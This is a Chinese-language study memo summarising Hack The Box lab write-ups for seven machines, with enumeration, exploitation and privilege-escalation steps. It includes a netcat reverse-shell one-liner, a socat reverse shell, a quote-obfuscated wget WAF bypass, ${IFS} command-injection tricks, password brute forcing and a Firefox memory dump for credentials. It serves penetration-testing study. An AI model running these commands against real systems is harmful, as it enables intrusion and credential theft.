《0xrick's Write-ups for hack-the-box》学习备忘录(1)
字数 4825 2025-08-25 22:58:29
《0xrick's Write-ups for hack-the-box》渗透测试技术总结
一、AI环境渗透
环境概述:Linux系统,中等难度,30分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- SQL注入获取Alexa凭证
- 通过SSH登录Alexa账户
- 获取用户Flag
- 利用JDWP漏洞
- 代码执行获取Root Shell
- 获取Root Flag
关键技术点:
- Nmap扫描:使用
-sC参数等价于--script=default,会调用已知端口的默认脚本 - 目录枚举:使用gobuster工具:
gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php - 音频文件处理:
- 文字转MP3:使用ttsmp3工具,支持中文
- MP3转WAV:
ffmpeg -i test.mp3 test.wav
- Linux提权:
- 查看进程:
ps aux - 查看网络服务:
netstat -ntlp - 在Github搜索关键词查找exp
- 查看进程:
思考与扩展:
- 目录枚举替代工具:dirb、dirsearch、wfuzz
- wfuzz类似于Burpsuite的intruder功能
- SQL注入通过语音识别执行,场景新颖
- 发现Apache Tomcat服务后,先评估利用价值,再深入研究Tomcat jdwp服务
二、Player环境渗透
环境概述:Linux系统,高难度,40分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- 利用FFmpeg HLS漏洞
- 任意文件读取
- 命令注入
- 获取用户Flag
- 从fix.php获取凭证
- 远程代码执行
- 获取www-data Shell
- 获取Root Flag
关键技术点:
- 子域名枚举:
wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145 - 文件泄露:关注.swp、.bak和~文件
- 端口扫描:使用masscan:
masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0 - Banner头泄露:使用nc查看服务信息:
nc ip port - TTY伪终端:
python -c "import pty;pty.spawn('/bin/bash')"
思考与扩展:
- 使用Burpsuite或ZAP记录请求历史,避免遗漏重定向
- .php.swp文件是vi/vim异常退出产生的,可用
vi -r恢复 - TTY交互式终端设置:
- 监听端:
socat file:tty,raw,echo=0 tcp-listen:4444 - 目标端:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444
- 监听端:
- Linux提权:审计以root权限运行的PHP/Python程序,寻找文件包含或命令执行漏洞
三、Bitlab环境渗透
环境概述:Linux系统,中等难度,30分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- 文件上传漏洞利用
- 远程代码执行获取www-data Shell
- 数据库访问
- 获取Clave密码
- SSH登录Clave账户
- 获取用户Flag
- 逆向分析RemoteConnection.exe
- 获取root密码
- SSH登录root账户
- 获取Root Flag
关键技术点:
- 信息泄露:
- robots.txt泄露大量disallow路径
- 检查HTML源代码和JS代码
- 数据库工具:
- PostgreSQL自带命令行工具psql
- 可使用各种编程语言的数据库连接函数
- 文件传输:
scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./
思考与扩展:
- Nmap扫描建议使用
-A参数获取全面信息 - 授权测试中可利用Github搜索获取代码信息
- 文件搜索技巧:
- Windows:
findstr /si password *.xml *.ini *.txt - Linux:
grep -r "password" /path
- Windows:
- 数据库管理工具:adminer支持多种数据库
- URL格式:
postgres://user:pass@host.com:5432/path?k=v#f - 逆向前先用strings匹配关键字
四、Craft环境渗透
环境概述:Linux系统,中等难度,30分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- 远程代码执行
- 获取Docker容器Shell
- 获取Gilfoyle的Gogs凭证
- SSH密钥利用
- SSH登录Gilfoyle账户
- 获取用户Flag
- 利用Vault工具
- 获取一次性SSH密码
- SSH登录root账户
- 获取Root Flag
关键技术点:
- 版本控制:检查Git提交记录(Commit History)
- API利用:根据API文档构造请求
- 反弹Shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f - Python EXP编写:使用subprocess.Popen实现nc监听
- 环境识别:检查
/.dockerenv文件判断Docker环境 - SSH密钥登录:
ssh -i private.key user@host - 信息搜集:关注用户家目录下的.xxx配置文件
思考与扩展:
- 版本控制工具还包括SVN
- 使用searchcode搜索开源代码库
- 环境识别方法:
- Linux:
cat /etc/*release - Docker:
ip a查看网络接口
- Linux:
- 文件查找:
ls -lat按时间排序
五、Smasher2环境渗透
环境概述:Linux系统,极高难度,50分钟完成时间
渗透流程:
- Nmap扫描
- DNS信息收集
- Web目录枚举
- 分析auth.py
- 分析session.so
- 认证绕过
- WAF绕过
- 远程代码执行获取dzonerzy Shell
- 获取Root Flag
- 分析dhid.ko
- 利用dhid.ko漏洞
- 获取Root Shell
- 获取Root Flag
关键技术点:
- DNS域传送漏洞:
dig axfr smasher2.htb @10.10.10.135 - 文件对比:
diff getinternalusr getinternalpwd - WAF绕过:使用单引号分隔字符:
'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' - SSH密钥登录:上传公钥到
~/.ssh/authorized_keys并设置权限chmod 600 - 日志检查:
/var/log/目录
思考与扩展:
- 域传送漏洞利用步骤:
- 获取NS记录:
dig +nostats +nocomments +nocmd NS smasher2.htb - 列出DNS记录:
ls -d smasher2.htb
- 获取NS记录:
- DNS服务标准端口:53/tcp和53/udp
- 递归解析使用UDP
- 区域传输使用TCP
六、Wall环境渗透
环境概述:Linux系统,中等难度,30分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- 远程代码执行
- WAF绕过
- 获取www-data Shell
- 利用Screen 4.5.0漏洞
- 获取Root Shell
- 获取用户和Root Flag
关键技术点:
- 目录枚举:gobuster发现隐藏目录
- Web认证绕过:将GET请求改为POST绕过认证
- 密码爆破:
wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate - Getshell:Centreon 19.04存在RCE漏洞
- WAF绕过:空格替换为
${IFS} - Linux提权:利用SUID权限的screen工具
- 编译exp:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
- 编译exp:
- umask设置:
umask 000取消所有掩码
思考与扩展:
- Apache Basic Auth爆破:
- 请求头包含
Authorization: Basic base64(用户名:密码) - 使用Burpsuite的intruder模块爆破
- 请求头包含
- Bypass Exec技巧:
${IFS}、<>重定向符、{,}格式包裹 - SUID提权检查:
find / -user root -perm -4000 -print 2>/dev/null - 参考gtfobins工具判断可提权程序
七、Heist环境渗透
环境概述:Windows系统,简单难度,20分钟完成时间
渗透流程:
- Nmap扫描
- Web目录枚举
- 枚举用户
- 获取Chase账户Shell
- 获取用户Flag
- 从Firefox进程内存转储获取管理员密码
- 获取Administrator Shell
- 获取Root Flag
关键技术点:
- SMB匿名登录测试:
smbclient --list //heist.htb/ -U "" - 密码破解:
- Cisco Hash在线破解
- 使用john:
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
- 信息搜集:
- 使用impacket的lookupsid.py:
lookupsid.py hazard:stealth1agent@heist.htb - 使用evil-winrm进行Windows远程管理
- 使用impacket的lookupsid.py:
- 进程内存转储:使用procdump.exe:
.\procdump64.exe -accepteula -ma 4980 - 关键字搜索:
- 使用strings.exe:
cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt" - 使用findstr:
findstr "password" ./firefox.exe_191129_211531.txt
- 使用strings.exe:
思考与扩展:
- 密码破解工具:hashcat、Hydra
- 信息搜集是关键,收集所有可能的用户、密码和可疑字符串
- 进程内存分析可发现意外信息
- 微软官方procdump.exe在白名单环境中很实用
通用渗透技巧总结
-
信息收集:
- 全面扫描:Nmap、masscan
- 子域名枚举:wfuzz、dig
- 目录/文件枚举:gobuster、dirsearch
- 版本控制检查:Git、SVN记录
-
漏洞利用:
- 关注已知漏洞:searchsploit
- WAF绕过技巧:字符分隔、编码转换
- API接口分析:根据文档构造请求
-
权限提升:
- 查找SUID程序
- 分析root运行的服务
- 检查用户配置文件和历史记录
-
工具使用:
- 文件传输:scp、wget
- 密码破解:john、hashcat
- 进程分析:procdump、strings
-
环境识别:
- 操作系统识别
- 容器环境判断
- 服务版本确认
通过系统性地应用这些技术和工具,可以有效地进行渗透测试和安全评估。